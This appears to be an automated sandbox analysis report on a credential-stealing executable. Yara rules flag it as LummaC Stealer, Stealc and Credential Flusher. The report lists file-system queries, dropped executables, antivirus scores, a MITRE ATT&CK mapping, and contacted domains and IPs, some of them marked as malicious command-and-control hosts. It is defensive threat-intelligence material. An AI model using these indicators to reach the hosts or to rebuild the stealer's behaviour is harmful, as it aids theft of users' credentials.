Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND

Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Directory queried: number of queries: 1413

Source: Yara match	File source: 0000000D.00000003.2629694606.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2672725289.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2585953036.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2585858854.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2658132730.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1729402235.00000000011BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2604592172.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 6292, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000C.00000003.2607023655.0000000000C3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 275df0ca27.exe PID: 2312, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6cadd3f0fd.exe PID: 6292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 7492, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 28.2.num.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.1171a5b648.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.num.exe.e80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1171a5b648.exe.f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2529289944.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2692045054.000000000117B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2604298529.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2531875867.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2588138718.0000000000E9E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2611179744.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2488093515.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2604161455.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.2588009468.0000000000E81000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2632031246.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2685024844.00000000000F1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1171a5b648.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002779001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	23 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	53%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002779001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5TAVJ2XDPW30B3ZI4A9E75FX93.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002779001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
example.org	0%	Virustotal	Browse
star-mini.c10r.facebook.com	0%	Virustotal	Browse
prod.classify-client.prod.webservices.mozgcp.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://profiler.firefox.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
http://exslt.org/sets	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://content-signature-2.cdn.mozilla.net/	0%	URL Reputation	safe
https://json-schema.org/draft/2020-12/schema/=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.253.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false		unknown
twitter.com	104.244.42.1	true	false		unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false		unknown
dyna.wikimedia.org	185.15.59.224	true	false		unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false		unknown
contile.services.mozilla.com	34.117.188.166	true	false		unknown
youtube.com	142.250.186.142	true	false		unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false		unknown
dualstack.reddit.map.fastly.net	151.101.129.140	true	false		unknown
youtube-ui.l.google.com	142.250.184.238	true	false		unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false		unknown
ipv4only.arpa	192.0.0.171	true	false		unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false		unknown
push.services.mozilla.com	34.107.243.93	true	false		unknown
necklacedmny.store	188.114.97.3	true	true		unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false		unknown
www.reddit.com	unknown	unknown	false		unknown
spocs.getpocket.com	unknown	unknown	false		unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false		unknown
presticitpo.store	unknown	unknown	true		unknown
support.mozilla.org	unknown	unknown	false		unknown
firefox.settings.services.mozilla.com	unknown	unknown	false		unknown
www.youtube.com	unknown	unknown	false		unknown
fadehairucw.store	unknown	unknown	true		unknown
www.facebook.com	unknown	unknown	false		unknown
detectportal.firefox.com	unknown	unknown	false		unknown
thumbystriw.store	unknown	unknown	true		unknown
shavar.services.mozilla.com	unknown	unknown	false		unknown
crisiwarny.store	unknown	unknown	true		unknown
www.wikipedia.org	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://firefox.settings.services.mozilla.com/v1MOZ_GOOGLE_LOCATION_SERVICE_API_KEY	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1681589317.0000000005A57000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454915918.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2586097370.000000000589C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001B.00000002.2746480848.000001C170DE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	firefox.exe, 0000001B.00000002.2736051759.000001C1703AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723930872.00000154760CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B7970E9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001B.00000003.2674078299.000001C17CD4F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE	firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000020.00000002.2722359273.000002B797086000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
